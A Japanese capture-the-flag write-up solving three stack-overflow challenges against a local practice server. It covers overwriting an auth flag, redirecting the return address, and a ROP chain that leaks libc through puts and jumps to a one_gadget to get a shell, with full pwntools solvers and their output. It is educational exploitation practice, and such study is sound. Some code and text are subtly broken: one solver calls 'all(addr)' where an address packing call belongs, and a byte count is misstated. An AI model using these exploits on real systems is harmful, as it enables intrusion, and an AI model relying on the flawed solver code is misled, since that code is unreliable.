ctfpwn challenge
ctfpwn challengeを解いていきます。解けなくても解法はまとめます。
login1
調査
IDとPasswordを入力させて、認証を行うプログラムが与えられる。
# nc localhost 10001
ID: hoge
Password: huga
Invalid ID or password
// gcc login1.c -o login1 -fno-stack-protector -no-pie -fcf-protection=none
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char flag[0x20];
char *gets(char *s);
void setup()
{
FILE *f = NULL;
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
f = fopen("flag.txt", "rt");
if (f == NULL) {
printf("Failed to read flag.txt\n");
exit(0);
}
fscanf(f, "%s", flag);
fclose(f);
}
int main()
{
char id[0x20] = "";
char password[0x20] = "";
int ok = 0;
setup();
printf("ID: ");
gets(id);
printf("Password: ");
gets(password);
if (strcmp(id, "admin") == 0 &&
strcmp(password, flag) == 0)
ok = 1;
if (ok) {
printf("Login Succeeded\n");
printf("The flag is: %s\n", flag);
} else
printf("Invalid ID or password\n");
}
id
とpassword
がgets関数を用いて読み込まれる。gets関数は読み込み先の配列サイズを指定できないため、バッファオーバーフロー脆弱性が存在する。
objdumpで逆アセンブルしてみる。
# objdump --no-show-raw-insn -M intel -d login1
000000000040128c <main>:
...
4012f6: lea rax,[rbp-0x30]
4012fa: mov rdi,rax
4012fd: call 401090 <gets@plt>
...
401313: lea rax,[rbp-0x50]
401317: mov rdi,rax
40131a: call 401090 <gets@plt>
...
401354: cmp DWORD PTR [rbp-0x4],0x0
401358: je 401380 <main+0xf4>
スタックの中身はこうなっている。
アドレス | サイズ | 内容 |
---|---|---|
rbp-0x50 | 0x20 | password |
rbp-0x30 | 0x20 | id |
rbp-0x10 | 0x0c | 未使用 |
rbp-0x4 | 0x04 | ok |
エクスプロイト
IDに0x2c(=44)バイトより長い文字列を入力することでok
を書き換えることができる。
# python3 -c "print('a'*45)"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
# nc localhost 10001
ID: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Password: hoge
Login Succeeded
The flag is: FLAG{58fd7d9bMJNTjnv5}
login2
調査
ソースコードは以下。
// gcc login2.c -o login2 -fno-stack-protector -no-pie -fcf-protection=none
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char flag[0x20];
char *gets(char *s);
void setup()
{
FILE *f = NULL;
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
f = fopen("flag.txt", "rt");
if (f == NULL) {
printf("Failed to read flag.txt\n");
exit(0);
}
fscanf(f, "%s", flag);
fclose(f);
}
int main()
{
char id[0x20] = "";
char password[0x20] = "";
setup();
printf("ID: ");
gets(id);
printf("Password: ");
gets(password);
if (strcmp(id, "admin") == 0 &&
strcmp(password, flag) == 0) {
printf("Login Succeeded\n");
printf("The flag is: %s\n", flag);
} else
printf("Invalid ID or password\n");
}
login1との差分として、ok変数が消えている。
gdb(gdb-peda)を用いてmain関数のディスアセンブルを行う。
# gdb -q login2
Reading symbols from login2...
(No debugging symbols found in login2)
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x000000000040128c <+0>: push rbp
0x000000000040128d <+1>: mov rbp,rsp
0x0000000000401290 <+4>: sub rsp,0x40
0x0000000000401294 <+8>: mov QWORD PTR [rbp-0x20],0x0
0x000000000040129c <+16>: mov QWORD PTR [rbp-0x18],0x0
0x00000000004012a4 <+24>: mov QWORD PTR [rbp-0x10],0x0
0x00000000004012ac <+32>: mov QWORD PTR [rbp-0x8],0x0
0x00000000004012b4 <+40>: mov QWORD PTR [rbp-0x40],0x0
0x00000000004012bc <+48>: mov QWORD PTR [rbp-0x38],0x0
0x00000000004012c4 <+56>: mov QWORD PTR [rbp-0x30],0x0
0x00000000004012cc <+64>: mov QWORD PTR [rbp-0x28],0x0
0x00000000004012d4 <+72>: mov eax,0x0
0x00000000004012d9 <+77>: call 0x4011b6 <setup>
0x00000000004012de <+82>: lea rdi,[rip+0xd46] # 0x40202b
0x00000000004012e5 <+89>: mov eax,0x0
0x00000000004012ea <+94>: call 0x401060 <printf@plt>
0x00000000004012ef <+99>: lea rax,[rbp-0x20]
0x00000000004012f3 <+103>: mov rdi,rax
0x00000000004012f6 <+106>: call 0x401090 <gets@plt>
0x00000000004012fb <+111>: lea rdi,[rip+0xd2e] # 0x402030
0x0000000000401302 <+118>: mov eax,0x0
0x0000000000401307 <+123>: call 0x401060 <printf@plt>
0x000000000040130c <+128>: lea rax,[rbp-0x40]
0x0000000000401310 <+132>: mov rdi,rax
0x0000000000401313 <+135>: call 0x401090 <gets@plt>
0x0000000000401318 <+140>: lea rax,[rbp-0x20]
0x000000000040131c <+144>: lea rsi,[rip+0xd18] # 0x40203b
0x0000000000401323 <+151>: mov rdi,rax
0x0000000000401326 <+154>: call 0x401080 <strcmp@plt>
0x000000000040132b <+159>: test eax,eax
0x000000000040132d <+161>: jne 0x40136c <main+224>
0x000000000040132f <+163>: lea rax,[rbp-0x40]
0x0000000000401333 <+167>: lea rsi,[rip+0x2d86] # 0x4040c0 <flag>
0x000000000040133a <+174>: mov rdi,rax
0x000000000040133d <+177>: call 0x401080 <strcmp@plt>
0x0000000000401342 <+182>: test eax,eax
0x0000000000401344 <+184>: jne 0x40136c <main+224>
0x0000000000401346 <+186>: lea rdi,[rip+0xcf4] # 0x402041
0x000000000040134d <+193>: call 0x401040 <puts@plt>
0x0000000000401352 <+198>: lea rsi,[rip+0x2d67] # 0x4040c0 <flag>
0x0000000000401359 <+205>: lea rdi,[rip+0xcf1] # 0x402051
0x0000000000401360 <+212>: mov eax,0x0
0x0000000000401365 <+217>: call 0x401060 <printf@plt>
0x000000000040136a <+222>: jmp 0x401378 <main+236>
0x000000000040136c <+224>: lea rdi,[rip+0xcef] # 0x402062
0x0000000000401373 <+231>: call 0x401040 <puts@plt>
0x0000000000401378 <+236>: mov eax,0x0
0x000000000040137d <+241>: leave
0x000000000040137e <+242>: ret
main関数終了時のret命令を用いて実行されるアドレスを書き換えることを行う。login1と変わらず、id
とpassword
がgets関数を用いて読み込まれるため、バッファオーバーフローによってスタックを書き換えることが可能。ok
変数が消えたのみなのでスタックの中身は以下のようになる。main関数実行時にsub rsp,0x40
を実行し0x40分だけスタックを確保しており、login1の時にあった謎の未使用領域がなくなっている(login1の時は0x50分スタックを確保していた)。
アドレス | サイズ | 内容 |
---|---|---|
rbp-0x40 | 0x20 | password |
rbp-0x20 | 0x20 | id |
rbp | 0x08 | rbp |
rbp+0x08 | 0x08 | リターンアドレス |
以下からリターンアドレスを0x401346
に書き換えることで、id
とpassword
照合後のprintf("Login Succeeded\n");
から処理が実行される。
0x0000000000401346 <+186>: lea rdi,[rip+0xcf4] # 0x402041
0x000000000040134d <+193>: call 0x401040 <puts@plt>
エクスプロイト
48バイト適当に文字を送信した後に、リターンアドレス書き換え用のアドレスを送信する。
from pwn import *
from struct import pack
addr = 0x401346
io = remote('localhost', 10002)
payload = b'a' * 0x48
payload += all(addr)
print(io.sendafter(b"ID: ", b'\n'))
print(io.sendafter(b"Password: ", payload))
print(io.recv())
# python3 solver.py
[+] Opening connection to localhost on port 10002: Done
b'ID: '
b'Password: '
b'Invalid ID or password\nLogin Succeeded\nThe flag is: FLAG{IxhH3hu2QZm9zOFu}\n'
[*] Closed connection to localhost port 10002
login3
調査
admin
を入力するとLogin Succeeded
と出力されるが、flagは表示されない。
# nc localhost 10003
ID: hoge
Invalid ID
# nc localhost 10003
ID: admin
Login Succeeded
ソースコードは以下。flagが読み込まれていないため、シェルを取得することでflagを取る問題だと予想される。
// gcc login3.c -o login3 -fno-stack-protector -no-pie -fcf-protection=none
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char *gets(char *s);
void setup()
{
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main()
{
char id[0x20] = "";
setup();
printf("ID: ");
gets(id);
if (strcmp(id, "admin") == 0)
printf("Login Succeeded\n");
else
printf("Invalid ID\n");
}
以下、main関数を逆アセンブリしたもの。
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000004011e1 <+0>: push rbp
0x00000000004011e2 <+1>: mov rbp,rsp
0x00000000004011e5 <+4>: sub rsp,0x20
0x00000000004011e9 <+8>: mov QWORD PTR [rbp-0x20],0x0
0x00000000004011f1 <+16>: mov QWORD PTR [rbp-0x18],0x0
0x00000000004011f9 <+24>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000401201 <+32>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000401209 <+40>: mov eax,0x0
0x000000000040120e <+45>: call 0x401176 <setup>
0x0000000000401213 <+50>: lea rdi,[rip+0xdea] # 0x402004
0x000000000040121a <+57>: mov eax,0x0
0x000000000040121f <+62>: call 0x401040 <printf@plt>
0x0000000000401224 <+67>: lea rax,[rbp-0x20]
0x0000000000401228 <+71>: mov rdi,rax
0x000000000040122b <+74>: call 0x401070 <gets@plt>
0x0000000000401230 <+79>: lea rax,[rbp-0x20]
0x0000000000401234 <+83>: lea rsi,[rip+0xdce] # 0x402009
0x000000000040123b <+90>: mov rdi,rax
0x000000000040123e <+93>: call 0x401060 <strcmp@plt>
0x0000000000401243 <+98>: test eax,eax
0x0000000000401245 <+100>: jne 0x401255 <main+116>
0x0000000000401247 <+102>: lea rdi,[rip+0xdc1] # 0x40200f
0x000000000040124e <+109>: call 0x401030 <puts@plt>
0x0000000000401253 <+114>: jmp 0x401261 <main+128>
0x0000000000401255 <+116>: lea rdi,[rip+0xdc3] # 0x40201f
0x000000000040125c <+123>: call 0x401030 <puts@plt>
0x0000000000401261 <+128>: mov eax,0x0
0x0000000000401266 <+133>: leave
0x0000000000401267 <+134>: ret
libcバイナリが与えられており、One-gadget RCE(実行を移すのみで/bin/shが起動するガジェット)に実行を移すことでシェルを取得するのだと予想される。しかし、ASLRがあるため共有ライブラリやスタックの位置は実行する度にランダムに変更される。なお、実行ファイルのPIEは無効になっているため、実行ファイルの位置はランダム化されない。
# checksec login3
[*] '/ctf/login3/login3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ASLRを回避するためには、printf関数などのlibc中のシンボルのアドレスを得ることで、One-gadget RCEのアドレスを算出することが必要らしい。以下のprintf関数の呼び出し部分に着目する。
gdb-peda$ disassemble printf
Dump of assembler code for function printf@plt:
0x0000000000401040 <+0>: jmp QWORD PTR [rip+0x2fda] # 0x404020 <printf@got.plt>
0x0000000000401046 <+6>: push 0x1
0x000000000040104b <+11>: jmp 0x401020
gdb-peda$ disassemble main
...
0x000000000040121f <+62>: call 0x401040 <printf@plt>
0x0000000000401224 <+67>: lea rax,[rbp-0x20]
0x40121f
の最初のprintf関数の呼び出し前後のrip+0x2fda(0x404020
)の中身を出力すると、0x401040
の呼び出し直前にlibc中のprintf関数のアドレスが格納され、0x401040
の呼び出しと同時にlibc中のprintf関数にjmpすることがわかる。
# gdb -q login3
Reading symbols from login3...
(No debugging symbols found in login3)
gdb-peda$ b *0x40121f
Breakpoint 1 at 0x40121f
gdb-peda$ r
gdb-peda$ x/1xg 0x404020
0x404020 <printf@got.plt>: 0x0000000000401046
gdb-peda$ ni
gdb-peda$ x/1xg 0x404020
0x404020 <printf@got.plt>: 0x00007ffff7e31c90
このprintf関数のアドレスを出力するためにputs(printf)
を実行することを目指す。これはlogin3のPLTのputs
関数(0x401030
)を実行することで可能。X64ではrdi
レジスタがputs
関数の第一引数となるため、スタックからrdi
に値を取り出すpop rdi
を探す。検索にはgdb-pedaのdumprop
が使用可能。
# gdb -q login3
Reading symbols from login3...
(No debugging symbols found in login3)
gdb-peda$ start
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: login3-rop.txt ...
0x40115e: ret
0x40125d: iret
0x4010c3: cli; ret
...
0x40115d: pop rbp; ret
0x4012d3: pop rdi; ret
0x4012d3
にpop rdi
が存在する。dumprop
コマンドは直後にret
がある命令だけを探すため、pop rdi
の直後にrdi
に格納するためのアドレス0x404020
を配置し、その後にputs
関数のアドレスを配置しておけばret
によってputs
関数が呼び出される。
puts
関数によってlibc中のprintf関数のアドレスが得られると、再度main関数を呼び出し、スタックオーバーフローを行うことでOne-gadget RCEを実行する。
エクスプロイト
実行時のスタックの状態は以下。
アドレス | サイズ | 内容 |
---|---|---|
rbp-0x20 | 0x20 | id |
rbp | 0x08 | rbp |
rbp+0x8 | 0x08 | リターンアドレス |
1回目の実行後のスタックの状態は以下。
アドレス | サイズ | 値 | 内容 |
---|---|---|---|
rbp-0x20 | 0x20 | aaa… | id |
rbp | 0x08 | aaa… | 適当 |
rbp+0x8 | 0x08 | 0x4012d3 | pop rdi; ret |
rbp+0x10 | 0x08 | 0x404020 | libc中のprintfのアドレスが格納されるアドレス |
rbp+0x18 | 0x08 | 0x401030 | PLTのputs関数のアドレス |
rbp+0x20 | 0x08 | 0x4011e1 | main関数のアドレス |
2回目の実行後のスタックの状態は以下のようになる。
アドレス | サイズ | 値 | 内容 |
---|---|---|---|
rbp-0x20 | 0x20 | aaa… | id |
rbp | 0x08 | aaa… | 適当 |
rbp+0x8 | 0x08 | … | 正確なOne-Gadget RCEのアドレス |
配布されたlibc-2.31.so
を用いて、printf
関数とOne-gadget RCEのアドレスを調べる。
# objdump -T libc-2.31.so | grep 'printf'
...
0000000000064e10 g DF .text 00000000000000cc GLIBC_2.2.5 printf
...
# one_gadget libc-2.31.so
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
最終的なsolverは以下のようになる。One-gadget RCEのアドレスは0xe6af1
が有効であった。
from pwn import *
# 各アドレスと値を設定
pop_rdi_ret = 0x4012d3
printf_libc_addr = 0x404020
puts_plt_addr = 0x401030
main_func_addr = 0x4011e1
# libc内のprintfとone_gadget RCEのアドレス
libc_printf_addr = 0x64e10
one_gadget_addr_offset = 0xe6af1
# ペイロードを作成 (libcのprintfアドレスをリークするため)
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rdi_ret) # rbp+0x08
payload += p64(printf_libc_addr) # rbp+0x10
payload += p64(puts_plt_addr) # rbp+0x18
payload += p64(main_func_addr) # rbp+0x20
# pwntoolsを使用して接続
io = remote('localhost', 10003)
print(io.sendlineafter(b'ID: ', payload))
# printfのリークされたアドレスを受け取る
io.recvuntil(b'\n')
data = io.recvuntil(b'\n', drop=True)
leaked_printf_addr = u64(data.ljust(8, b'\0'))
# libcのベースアドレスを計算
libc_base_addr = leaked_printf_addr - libc_printf_addr
# one_gadgetの実際のアドレスを計算
one_gadget_addr = libc_base_addr + one_gadget_addr_offset
print(f"Leaked printf address: {hex(leaked_printf_addr)}")
print(f"Libc base address: {hex(libc_base_addr)}")
print(f"One gadget RCE address: {hex(one_gadget_addr)}")
# 新しいペイロードを作成して実行をone_gadgetに移す
payload = b'a' * (0x20 + 0x8)
payload += p64(one_gadget_addr)
print(io.sendlineafter(b'ID: ', payload))
io.interactive()
# python3 solver.py
[+] Opening connection to localhost on port 10003: Done
b'ID: '
Leaked printf address: 0x7f6f2f9e7e10
Libc base address: 0x7f6f2f983000
One gadget RCE address: 0x7f6f2fa69af1
b'ID: '
[*] Switching to interactive mode
Invalid ID
$ id
uid=1003(login3) gid=1003(login3) groups=1003(login3)
$ ls
flag.txt
login3
login3.sh
$ cat flag.txt
FLAG{vOvF4gQyzrRq50eH}